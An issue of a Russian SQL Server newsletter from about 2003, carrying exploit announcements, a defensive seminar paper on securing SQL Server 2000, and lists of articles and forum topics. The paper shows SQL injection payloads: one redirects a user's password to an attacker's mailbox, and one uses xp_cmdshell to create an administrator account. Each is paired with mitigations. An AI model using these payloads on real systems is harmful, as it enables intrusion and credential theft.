Отправляет email-рассылки с помощью сервиса Sendsay

MS SQL Server

  Все выпуски  

MS SQL Server - дело тонкое...


Информационный Канал Subscribe.Ru


#128<<  #129

СОДЕРЖАНИЕ

1.БЕЗОПАСНОСТЬ
1.1.Эксплоит для MS-SQL 7.0/2000
1.2.MSSQL2000 Remote UDP Exploit
1.2.Утилита диагностики уязвимости SQL Server 2000
2.СОВЕТЫ
2.1.Безопасность Microsoft SQL Server 2000: заметки разработчика
3.ССЫЛКИ НА СТАТЬИ
3.1.Отечественные статьи
3.2.Новые технические статьи Microsoft
3.3.Англоязычные статьи
4.ФОРУМ SQL.RU
4.1.Самые популярные темы недели
4.2.Вопросы остались без ответа

БЕЗОПАСНОСТЬ

Эксплоит для MS-SQL 7.0/2000

По сообщению securitylab.ru от 3 февраля 2003г.

MS-SQL позволяет доступ через “доверенные подключения”("trusted connection"). Заданная по умолчанию инсталляция позволяет атакующему с "system" привилегиями получать доступ к серверу без ввода пароля.

MSSQL2000 Remote UDP Exploit

По сообщению securitylab.ru от 29 января 2003г.

Переработанный эксплоит Девида Личфилда (http://www.securitylab.ru/?ID=34409), эксплуатирующий уязвимость в MS SQL server 2000. Устранены несколько ошибок. Открывает оболочку на 53 порту.

Эксплоит

[Содержание]

Утилита диагностики уязвимости SQL Server 2000

По материалам статьи Microsoft: SQL Server 2000 Security Tools
29 января 2003г. выпущены утилиты, позволяющие сканировать находящихся в сети компьютеров на предмет наличия инстанса MS SQL Server 2000 и определения его версии и уязвимости к заражению вирусом Slammer.

[Содержание]

СОВЕТЫ

Безопасность Microsoft SQL Server 2000: заметки разработчика

Доклад на семинаре: "Построение защищенных (безопасных) приложений на базе Microsoft SQL Server 2000 ". Семинар был организован Группой компаний Талгар совместно с проектом SQL.RU.
Автор доклада: Рахманов Мартин

Введение

На сегодняшний день СУБД хранят очень ценную информацию, от сохранности которой зависит работа всей организации. В связи с этим нельзя не отметить важность защиты систем управления базами данных с учетом взаимодействия последних с сетью Интернет. Данный доклад посвящен практическим аспектам работы с Microsoft SQL Server 2000. Все примеры и эксперименты, описанные ниже, проводились на следующем программном обеспечении:

Microsoft SQL Server 2000 Enterprise Edition 8.00.760 (Intel X86) (Service Pack 3)
Microsoft Windows 2000 Advanced Server (Service Pack 3)
Файловая система NTFS, единственный установленный протокол для работы с Microsoft SQL Server - TCP/IP.
В качестве клиентских станций использовались компьютеры:

Microsoft Windows 2000 Professional
Microsoft Windows XP Professional

Распространенные ошибки

Ошибки можно разделить на три категории:

1. Ошибки администрирования
2. Ошибки программирования
3. Ошибки реализации SQL Server

Примером ошибок первой категории являются: открытый в Интернет порт 1434, пустой пароль учетной записи sa. Для борьбы с подобного рода ошибками следует установить четкую политику безопасности в организации, согласно которой будет происходить администрирование ИС, включая администрирование СУБД. Необходимо отметить, что одним лишь корректным администрированием сервера баз данных невозможно обеспечить целостность и безопасность информации. Проблему следует рассматривать комплексно.
Примером ошибок второй категории может служить конструирование SQL запросов в приложении "на лету" на основе непроверенного пользовательского ввода и отправка таких запросов серверу СУБД. Для борьбы с такими ошибками можно использовать четкие стандарты кодирования и периодические обзоры программных решений. Ошибки третьей категории: множественные переполнения буфера в системных расширенных процедурах и командах DBCC, излишне "большие" разрешения на выполнение ряда системных процедур для рядовых пользователей СУБД и т.п. Единственным способом преодоления подобных проблем является регулярный мониторинг соответствующих ресурсов на предмет выхода очередных заплат, сервис паков и их немедленная установка их на сервера.
В данном докладе предпринята попытка обобщить информацию по защите от ошибок всех трех типов.

Обзор режимов аутентификации

Средства обеспечения безопасности SQL Server можно разделить на две составляющие: обеспечение аутентификации и обеспечение авторизации. Microsoft SQL Server 2000 реализована в поддерживает два механизма аутентификации: Windows Authentication и SQL Server Authentication. Рассмотри каждый из этих механизмов подробнее.

Аутентификация Windows (Windows Authentication)

Данный механизм использует данные учетной записи Windows, под которой работает клиент, для аутентификации на SQL Server. Это означает, что авторизоваться можно только с Windows машин. Для успешной аутентификации достаточно знать имя учетной записи и ее пароль. Создав на своей рабочей станции учетную запись с заданным именем и паролем, успешная аутентификация на SQL Server, использующем локальные учетные записи, гарантирована. Это верно и для случая доменной учетной записи при условии, что совпадает имя домена, имя учетной записи и пароль.

Стандартная аутентификация (SQL Server Authentication)

Данный механизм унаследован от ранних версии продукта и может быть удален в последующих версиях. Использование его не рекомендуется, так как имена учетных записей и пароли передаются по сети практически не зашифрованными. Собственно, имя учетной записи передается открытым текстом, пароль шифруется простейшим алгоритмом на основе операции XOR. Шифрующий код можно найти в проекте FreeTDS (http://www.freetds.org). Кроме того, недавно выяснилось, что механизм, которым SQL Server пользуется для сохранения хэша пароля тоже не совсем хорош. Дело в том, что он сохраняет хэш как для самого пароля, так и для его версии в верхнем регистре, что сильно снижает время, необходимое для подбора пароля методом перебора всех возможных вариантов. Это сильно похоже на проблему хранения паролей учетных записей в системах Windows NT/2000/XP, где также сохраняется хэш от версии пароля LM в верхнем регистре. На сайте компании Next Generation Security Software Ltd можно найти пробную версию программы, которая подбирает пароли для учетных записей SQL Server методом полного перебора, используя указанный выше изъян.
Реализовать парольную политику для режима SQL Server Authentication намного сложнее, это потребует вмешательства в код системных хранимых процедур, что нежелательно (хотя в Интернет можно найти примеры). В то же время, режим Windows Authentication позволяет возложить заботу о пароле на операционную систему.

Аудит попыток входа

Microsoft SQL Server 2000 позволяет вести регистрацию всех попыток входа, как удавшихся, так и нет. Для этого достаточно воспользоваться кнопкой Audit Level вкладки Security и перезапустить SQL Server. После этой операции все попытки доступа будут регистрироваться в журнале операционной системы Windows NT/2000/XP и в журнале SQL Server. Можно производить мониторинг журналов.
Внутренняя переменная @@connections увеличивает свое значение с каждой новой попыткой соединения с сервером.
Встроенных средств ограничения доступа по IP адресам в Microsoft SQL Server 2000 нет. Ограничения по количеству попыток входа для данной учетной записи (SQL login) нет, что является еще одним аргументом в пользу интегрированной аутентификации.

Расширенные хранимые процедуры

Прежде всего, отметим, что расширенные хранимые процедуры всегда выполняются в контексте безопасности учетной записи операционной системы, под которой запущена служба mssqlserver. Это означает, что любая ошибка в коде расширенной хранимой процедуры может обернуться аварийным завершением работы сервера, исполнением произвольного кода.
Самые распространенные ошибки при написании расширенных хранимых процедур:

1. Переполнение (буфера, кучи и т.п.)
2. Утечка памяти
3. Ошибки форматирования (format string errors)

Ошибки первого класса могут привести к исполнению кода злоумышленника. Ошибки второго класса чреваты аварийным остановом сервера и отказом в обслуживании. Ошибки форматирования могут привести к чтению информации, которая не должна быть доступна.

Во всех трех случаях возможны потери информации!

Прежде чем писать расширенные хранимые процедуры, необходимо ознакомиться со статьей Q190987, несмотря на ее давность. После написания код тщательно перепроверить. Возможно использование средств, автоматизирующих поиск ошибок определенного рода, например, Fezer (код которого можно адаптировать).

Шифрование хранимого кода

Хранимые процедуры, триггеры, определяемые пользователем функции и определения представлений могут быть зашифрованы при помощи опции WITH ENCRYPTION.
Однако, не стоит полагаться на надежность данного механизма, ведь если сам сервер может расшифровать код (а это ему необходимо), то можно сделать это и в обход него. Подробное описание алгоритма расшифровки для Microsoft SQL Server 2000 можно найти на сайте http://www.sqlsecurity.com. Кроме того, существует ряд программ, реализующих функциональность по расшифровке кода. Отметим также, что при переходе от версии 7 к версии 2000 Microsoft изменила алгоритм шифрования, т.ч. средства расшифровки кода для версии 7 не будут корректно работать на Microsoft SQL Server 2000.

Внедрение SQL кода (SQL Injection)

Проблема многих приложений состоит в динамической генерации SQL запросов и отправке их в СУБД без предварительной обработки. Например, следующий фрагмент кода не является редкостью:


 ...
Set rs = cn.Execute("SELECT password FROM dbo.Users WHERE email = '" &_
Request.Form("email") & "'")
 ...
objMail.To = Request.Form("email")
objMail.Send(rs("password"))
 ...

Нетрудно видеть, что через поле формы email можно изменить логику запроса. Например, с большой долей вероятности можно получить пароль произвольного пользователя, если в качестве значения поля email будет получено:


victim@host.com' OR email=';intruder@provider.com

Запрос будет выглядеть так:


SELECT password FROM dbo.Users WHERE email = 'victim@host.com' OR
email=';intruder@provider.com'

что приведет к тому, что будет выбран пароль Пользователя с адресом victim@host.com, но отправлен он будет, скорее всего, по адресу intruder@provider.com, т.к. многие почтовые компоненты считают символ ; разделителем адресов. Этот сценарий будет работать в случае, если запросы строятся динамически и без проверки пользовательского ввода. Если же приложение работает под учетной записью, обладающей большими привилегиями в SQL Server, то последствия могут быть еще печальнее, вплоть до получения контроля над машиной, где работает SQL Server:


'; EXEC master.dbo.xp_cmdshell 'net user john pass /add && net localgroup
Administrators john /add

Пользуясь подобными ошибками, злоумышленник может раскрыть схему таблиц, механизм подробно описан в документе "Web Application Disassembly with ODBC Error Messages", автор David Litchfield. Кроме того, в ряде случаев такие ошибки сводят на нет все усилия по защите сети через брандмауэр, т.к. атака может идти поверх HTTP, а для обмена данными, проникновения во внутреннюю сеть может использоваться SQL Server злоумышленника, выступающий в качестве присоединенного сервера. Об этом можно прочесть в документе "Manipulating Microsoft SQL Server Using SQL Injection", автор Cesar Cerrudo. Например, может быть использован такой запрос для получения списка баз на другом SQL сервере:


SELECT * FROM OPENROWSET('SQLOLEDB',
'Server=INTERNAL_SQL_SERVER;UID=sa;PWD=password;', 'select * from
sysdatabases')

При этом могут использоваться также и удаленные и присоединенные SQL сервера, зарегистрированные на захваченной машине.
Для того, чтобы избежать ошибок подобного рода можно применить следующие методы:

- Не запускать приложения под привилегированными "учетными записями" (sysadmin, db_owner и т.п.) SQL Server. Не запускать SQL Server под привилегированными учетными записями операционной системы (LocalSystem, Administrators group member и т.п.).

- Отказаться от динамических запросов в пользу хранимых процедур. Это позволит не только искоренить SQL Injection, но и воспользоваться другими преимуществами использования хранимого кода. Однако не стоит забывать, что в случае использования динамических запросов внутри хранимых процедур проблема внедрения кода все же остается. Например:


CREATE PROCEDURE dbo.GetUsers
@Field varchar(100)
AS
SET NOCOUNT ON
EXEC ('SELECT UserID, Username, FirstName, LastName FROM dbo.Users
ORDER BY ' + @Field)
RETURN
GO
Вызов ("опасный"):
EXECUTE dbo.GetUsers '1; EXEC master.dbo.xp_cmdshell [net user john
/add && net localgroup Administrators john /add]'

- Использовать параметризованные запросы

- Использовать регулярные выражения для проверки пользовательского ввода до того, как он будет отправлен в СУБД. В случае несоответствия ввода и шаблона выдавать сообщение об ошибке клиенту, оставлять запись об ошибке (ни в коем случае не показывать клиенту ошибки SQL Server'а!) в журнале приложения и прекращать выполнение запроса.

- Использовать функции для экранирования служебных символов. Например:


strEmail = Replace(Request.Form("Email"), "'", "''")

- Проводить обзор кода (code review) и следовать стандартам кодирования В качестве автоматических тестирующих средств можно порекомендовать SPI Dynamic WebInspect 2.6. Данное средство тестирования приложений пытается отыскать и ошибки класса "SQL Injection".

Защита в Интернет

По возможности не выставляйте Ваш SQL Server в Интернет. Это верный способ привлечь взломщиков. Однако, если это неизбежно, примите к сведению:

- Открыть для доступа необходимо лишь один порт - собственно для коммуникации с сервером. Его номер следует изменить с 1433 на другой, нестандартный (т.е. вне списка известных портов), дабы сканеры уязвимостей находили его только при полном переборе портов.

- Закройте прочие порты, используемые для работы с SQL Server. В частности, необходимо закрыть порт 1434, используемый службой SQL Server Resolution Service, закрыть порт 445, служащий в Windows 2000 для работы по протоколу SMB.

- Используйте шифрование потоков данных в сети: встроенное в SQL Server (SSL) либо встроенное в операционную систему (IPSec), либо стороннее, например, SHH туннель.

- Не запускайте на машине с SQL Server никаких приложений кроме самого SQL Server. Особенно это касается Web серверов, FTP серверов и т.п.

- Не используйте машину с SQL Server в качестве контроллера домена.

- Не запускайте SQL Server под привилегированной учетной записью.

- Удалите неиспользуемые расширенные хранимые из разряда опасных (xp_cmdshell, sp_OA*, xp_reg* и т.п.) процедуры либо выдайте запрет на их исполнение рядовым пользователям.

- Не запускайте приложение под привилегированной учетной записью, разрешения на объекты БД раздавайте явно.

- Устанавливать только необходимые компоненты. Например, если Вам не потребуется репликация, то не устанавливайте соответствующий компонент SQL Server.

- Ведите аудит всех попыток соединения. Ведите аудит событий безопасности в операционной системе. Если есть возможность установить специализированную систему защиты и уведомления о нападениях (Intrusion Detection System) - установите ее.

- Корректно раздайте права на доступ к системным каталогам и файлам.

- Используйте файловую систему NTFS.

- Следите за "заплатками" и пакетами обновления и устанавливайте их немедленно. Не ждите выхода пакета обновления, устанавливайте заплатки.

- Используйте брандмауэр или другое специализированное программное обеспечение для ограничения доступа к SQL Server по диапазону IP адресов клиентов, времени доступа и так далее, если это допускают Ваши требования.

- По возможности, не соединяйте машину, где работает SQL Server, с внутренней сетью организации для снижения риска дальнейших атак.

- Никогда не используйте одни и те же пароли на разных машинах. Выбирайте "сильные" пароли.

- Удалите неиспользуемые сетевые протоколы из Server Network Utility.

- Установите отсылку уведомлений (Alerts) о событиях типа Access Denied ответственному персоналу.

- Для SQL Logins задайте сложные пароли - длинные, с различным регистром букв, содержащие не только буквы и цифры.

Программное обеспечение

Существует несколько продуктов, позволяющих в той или иной мере автоматизировать или просто ускорить работы по укреплению безопасности решений на основе Microsoft SQL Server. Ниже приведен обзор некоторых из них. Подробную информацию, включая пробную версию, можно найти на сайтах производителей.

- NGSSQuirreL - сканер уязвимостей для Microsoft SQL Server. Создает T-SQL скрипты для усиления безопасности сервера. Страница продукта в Интернет: http://www.nextgenss.com/software/ngssquirrel.html

- AppDetective - также сканер уязвимостей. Имеет модуль для Microsoft SQL Server. Адрес в Интернет: http://www.appsecinc.com/products/appdetective/mssql/

- X-Spider - российский продукт, способен выявлять уязвимости SQL Server'а. http://www.xspider.ru/

Кроме того, корпорацией Microsoft выпущены программы Microsoft Baseline Security Analyzer и HFNetChk (совместно с Shavlik Technologies) для определения уровня защищенности хоста через выявление установленных и неустановленных сервис паков и заплаток.

Литература и источники в Интернет

Информация по безопасности Microsoft SQL Server в Интернет
http://www.microsoft.com/sql - официальный сайт Microsoft SQL Server
http://technet.microsoft.com - информация об обновлениях для продуктов Microsoft, подписка на уведомления о выходе заплаток.
http://www.sqlsecurity.com - сайт о безопасности Microsoft SQL Server: FAQ по защите сервера, lockdown скрипт, ссылки на прочие ресурсы, новости.
http://www.securityfocus.com - крупнейшая база по уязвимостям, аналитические материалы по безопасности, статьи для практического применения администраторами, разработчиками.
http://www.appsecinc.com - поставщик средств аудита безопасности, новости, статьи
http://www.ngssoftware.com - поставщик средств аудита безопасности SQL Server, новости, статьи.

Литература

Designing Secure Web-based Applications for Windows 2000, Michael Howard, Marc Levy, and Richard Waymire
Writing Secure Code, Michael Howard, David LeBlanc
Inside Microsoft SQL Server 2000, Kalen Delaney

[Содержание]

ССЫЛКИ НА СТАТЬИ

Отечественные статьи

Использование Web User Controls для построения шаблонов страниц в ASP.Net
В статье рассматривается методика построения системы шаблонов страниц сайта в ASP.Net, основанная на применении пользовательских компонентов (Web User Controls). Приложение к статье - исходный код простого сайта, иллюстрирующий особенности указанной методики...
Компоненты контроля ввода ASP.Net
Идея контролировать ввод пользователя программного обеспечения (ПО) в зависимости от типа данных или по шаблону не нова и была реализована во многих программных продуктах. Не обошла вниманием эту идею и компания Microsoft в новой версии ASP (ASP.Net), представив нам шесть компонент для контроля ввода пользователя (ККВ) ...
Использование SQL Server совместно с Encrypting File System (EFS)
В своей статье посвящённой защите SQL Server, Chris Kempster кратко представил новую опцию, появившуюся в Windows 2000, это Encrypting File System (EFS). EFS предоставляет полностью прозрачный механизм шифрования файлов, что позволяет использовать его для прикладных программ типа SQL Server. EFS может быть использован DBA для защиты критически важных файлов баз данных SQL Server. В конце концов, если нападающий сможет копировать незашифрованные файлы баз данных SQL Server, он сможет без особых проблем прикрепить эти файлы к собственному SQL Server. Задействовав EFS Вы сможете зашифровать все ваши файлы баз данных так, что только SQL Server будет иметь к ним доступ...

[Содержание]

Новые технические статьи Microsoft

BUG: Impersonation May Not Work When You Use ASP.NET SQL Server Session State with Integrated Security
Can Not Apply SQL Server 2000 MSDE Service Packs to MSDE Instances Installed by .NET Framework SDK 1.0
FIX: Cursors That Have a Long Lifetime May Cause Memory Fragmentation
FIX: MS02-039: Buffer Overruns in SQL Server 2000 Resolution Service Might Enable Code Execution
FIX: Update or Delete Statement Fails with Error 1203 During Row Lock Escalation
HOW TO: Configure ASP.NET for Persistent SQL Server Session State Management
HOW TO: Configure SQL Server to Store ASP.NET Session State
HOW TO: Implement Forms-Based Authentication in Your ASP.NET Application by Using C# .NET
HOW TO: Implement Forms-Based Authentication in Your ASP.NET Application by Using Visual Basic .NET
INF: Enabling Cross-Database Ownership Chaining for Notification Services Databases
INF: SQL Server 2000 Evaluation Editions Do Not Support Security Patches
INF: SQL Server 2000 Security Update for Service Pack 2
PRB: "Internal Error 2755. 1632, C:\MSDE\setup\SqlRun01.msi" Setup Error with Microsoft SQL Server 2000 Desktop Engine
PRB: "Login Failed" Error Message When You Create a Trusted Data Connection from ASP.NET to SQL Server
PRB: SQL Server Agent May Report Event ID: 318 Error After an Application Generates an Unhandled Exception Error with Dr. Watson as the Default Debugger
PRB: The xp_sendmail Stored Procedure Fails with Error 0x80070005 When the Mailbox of the SQL Mail Profile is Different From the MSSQLServer Service Startup Domain Account Default Mailbox
PRB: You Receive Error Message: "Failed to enumerate changes in the filtered articles" When the SQL Server Merge Agent Fails
SQL Server 2000 Security Tools
Virus Alert About the W32.Slammer Worm

[Содержание]

Англоязычные статьи

Much ADO About Nothing
William Vaughn
One item on most developers' wish list is a tried-and-true way to determine the best ways to test for and set NULL values in their applications—regardless of the language the applications are written in. For example, when they need to signify that DateShipped or DateDied dates haven't been reached and aren't known, most relational database developers have to define these and similar data columns to permit NULL values. Note that a NULL value in a data column isn't the same as an empty or NULL string or any other placeholder that can serve to show that the value isn't known. The language you're using can treat an empty string or a placeholder value (such as Unknown) as a string or valid value and can store a NULL as a "known" value in the database. The concept of NULL has been a part of relational databases since their inception, and NULLs have always garnered special treatment. I won't get into a long-winded discussion about the wisdom of using NULLs, but I do think NULL is a better placeholder than BHOM (Beats the Hell Out of Me), which I used when I taught programming for the US Army
Database Replication
Michael Hotek
Protect your database and distribute data
A few years ago, database replication was a high-end capability that few companies considered. Now, more organizations are interested in database replication for two main reasons: Businesses are becoming more geographically dispersed, yet employees still need access to a single set of coherent data; and many companies are working with massive data sets that they can't quickly or easily restore in the event of a system failure.
Tuning Aggregations
Kalen Delaney
SQL Server internally processes GROUP BY and DISTINCT clauses in a similar manner. For both types of queries, SQL Server returns one row of output for each distinct value of a column or set of columns in the input. The difference is that with a GROUP BY query, you can optionally include an aggregation such as count(), sum(), or avg() to be performed on all the rows with matching values for the grouping column. For example, using the Northwind database's Orders table, suppose you want to know which customers have placed orders. In other words, you want to see a list of distinct customer IDs. In T-SQL, you can write the query like this
Iterating Through Member Sets
Russ Whitney
Sidestep cursors to a better way of stepping through object collections
If you're a database programmer, you know the value of a cursor. When you need to perform a complex operation with a collection of records, a cursor applies that operation to each record. A cursor is a type of iterator. In the world of object-oriented programming, iterator is the generic term for any object that facilitates stepping through a collection of other objects
Surrogate Key vs. Natural Key
Michelle A. Poolet
Readers frequently ask me whether they should use a natural value or a surrogate identifier for a table's primary key. A surrogate key is an artificially produced value, most often a system-managed, incrementing counter whose values can range from 1 to n, where n represents a table's maximum number of rows. In SQL Server, you create a surrogate key by assigning an identity property to a column that has a number data type. A natural key is a naturally occurring descriptor of the data and one of a table's attributes that has no duplicate values. When you use a natural key as a table's primary key, each of the table's rows is uniquely identified. I addressed this concept in SQL by Design, "How to Choose a Primary Key," April 1999, InstantDoc ID 5113, but sometimes a topic is important enough to revisit
Answers from Microsoft
I heard that running virus-scanning software on the same server as SQL Server isn't a good idea because the virus-scanning software claims significant overhead. I looked on Microsoft's SQL Server Web site and found nothing about this topic. Can you give me any information?
Calling Stored Procedures from ADO.NET
John Paul Cook
The Microsoft .NET Framework offers improved performance in accessing stored procedures through ADO.NET when compared to ADO. The ADO.NET classes have multiple overloaded methods, so it's important to understand the syntax sufficiently well to get the most from your code. Although the focus of the article is on SQL Server stored procedures, the techniques shown will also work with Oracle and other OLE DB compliant databases
T-SQL Debugging Using Visual Studio .Net
John Paul Cook
Before describing the Visual Studio .Net T-SQL Debugger, let's start by discussing its predecessor, the SQL Server T-SQL Debugger. While developers are accustomed to using the SQL Server T-SQL Debugger to debug stored procedures, most do not realize they can debug user-defined functions as well. After all, if you select the user-defined function in the Object Browser and then right click, the Debug option is grayed out
Filling in the Gaps
Joe Celko
As I get older, I am convinced that there really is no such animal as a simple programming problem. Oh, they might look simple when you start but that is just a trick. Under the covers, are all kinds of devils just waiting to get out
Cisco Security Notice: MS SQL Worm Mitigation Recommendations
Cisco customers are currently experiencing attacks due to a new worm that has hit the Internet. The signature of this worm appears as high volumes of UDP traffic to port 1434. Affected customers have been experiencing high volumes of traffic from both internal and external systems. Symptoms on Cisco devices include, but are not limited to high CPU and traffic drops on the input interfaces
Determine the number of rows in a table without a table scan
Andrew Novick
If you don't require an exact answer, it isn't necessary use a SELECT count(*) query on the rows in a table to get the row count. SQL Server keeps the row count in sysindexes and it can be retrieved there. The key is to select the correct record from sysindexes
Create a clustered index on primary key
Prashant Dahalkar
Here's a way to create a table with clustered index on a composite primary key. A clustered index is a special type of index that reorders the way records in the table are physically stored. Therefore, the table can have only one clustered index. The leaf nodes of a clustered index contain the data pages. Clustered indexes are more preferable than nonclustered if you need to select by a range of values or you need to sort results set with GROUP BY or ORDER BY. Generally, we have GROUP BY or ORDER BY on primary keys. But the RDBMS system creates a non-clustered index as soon as you define a PK. To have our own clustered index on PK columns, we have to go this way and fool the RDBMS. It works on DB2 UDB v7.1.
Top 10 SQL Server security blunders, part I
Jan Stafford
Do you ever lock the front door and leave the back door wide open? That kind of half-safe security practice is all too common among database administrators, said database security expert Aaron C. Newman. In many cases, DBAs get lucky and hackers overlook their oversights. Too often, their luck runs out
Managing Jobs - Part 1
Andy Warren
Funny how things start out simple and management, then as time goes by you realize you have a lot of stuff to deal with and the original system just isn't working out! Jobs are a place where that can happen before you know it so this week I thought I'd share some ideas on ways to use and manage jobs more effectively
Server Standards - Part 1, Hardware
Steve Jones
I wrote a little while back about Coding Standards. There were two parts to the series, Naming Conventions - Part 1 and Formatting - Part 2. As I was searching for other areas that I've implemented standards, it occurred to me that the server itself is a place where I have implemented standards and have seen great benefits for new users who follow behind me.
VSLive! Speaker Interview
David Campbell, product unit manager, SQL Server Engine and Tom Rizzo Group Product Manager in the SQL Server Product Unit on the Upcoming release of Yukon.

[Содержание]

ФОРУМ SQL.RU

Самые популярные темы недели

Междумордие
Кто на чем пишет клиентов под SQL Server?
Новость No.2 - FTP SQL.RU
Что за ненависть такая к курсорам?
Приколись народ! (хваленый guid)
В каком поле народ хранит денежные суммы?
Raw partition
Семинар: Построение защищенных (безопасных) приложений на базе MS SQL Server
I Съезд регионального отделения пользователей SQL.RU г. Красноярск
Не стартует SQL Agent - в чем проблема?
Хранимая процедура - как оптимизировать?
Передача таблицы из клиента на сервер
Можно ли средствами T-SQL поймать набор записей?
Динамическое создание лок. временной таблицы
Проблемы с OPENDATASOURCE
Очень хитрый запрос. (only for Guru)
"Мертвые" блокировки в транзакциях
Помогите чайнику с триггером.
Вопрос по поводу безопасности MS SqlServer
Почему блокируются пользователи?
Помогите с запросом
Как сгенирить и получить новый ID в таблице?
Почему округляются данные на клиенте???
ErWIN и MSSQL
Выбор подходящего типа
Софтинка Quest SQL Navigator
Добавление маленькой буковки Z.
Автоматический backup и архивирование оного
Есть вопрос
full text population
Помогите чайнику с ХП
Как обойти ошибочку?
Как избавиться от временнОй составляющей datetime?
SQL Server Agent Error Log Message
Поддержка двух P4 Xeon на SQL Server 2000
Notification Services & Microsoft .NET Framework (3705) !!!!!
Cannot generate SSPI context
ADO -> SP -> RECORDSET -> ????
Процедуры и их синхронизация
Может кто сталкивался и импортом выписок в 1С (+)?
Очередной SQL вирус гляет по Internet
Как обойтись без курсора
Положить данные на сервер
Как забрать таблицу из Новела?
Народ помогите разобраться!
Параметры процедуры
напоминалка по датам (sp наверное)
Непонятки с шедулером. сам по себе вырубается... (+)
как запустить из jobs внешний батник?
MsSql Вирус
встроенные группировки
Вирус и патч
Indexes

[Содержание]

Вопросы остались без ответа

Миниопрос : CASE-средства для MSSQL
ALTER TABLE ... ENABLE TRIGGER
Проблема записи Word-файла в BLOB поле
SQL Server 2000 SQL Scan Tool (Sqlscan.exe) for Microsoft SQL Server 2000
Помогите с вопросом......
разыскиваются sp_ShipLog, sp_ApplyStandbyLog
Почему не отлавливается 'A domain error occured' ?
MS Server 2003
Фильтр в EXCEL
mssql альтернативный клиент
Ylychshenie Zaproza
ВНИМАНИЕ!!! ТРАБЛЫ при выгрузке в EXCEL
Джентльмены, опять SQL MAIL?
Удалены данные из таблицы
SQL Server 2000 Books Online (Updated - SP3)
MS SQL 2000 constraint validation text
MSDE и аналоги EM&QA
Перенос базы с 2000 на 7..
Create Table создает кривой файл
а вот почитайте-ка....
Расскажите про команду Diact (может я не так написал)

[Содержание]

#128<<  #129

Вопросы, предложения, коментарии, замечания, критику и т.п. присылайте Александру Гладченко на адрес: mssqlhelp@pisem.net

sql.ru Описание рассылки

МИНИФОРМА
ПОДПИСКИ




http://subscribe.ru/
E-mail: ask@subscribe.ru
Отписаться
Убрать рекламу

В избранное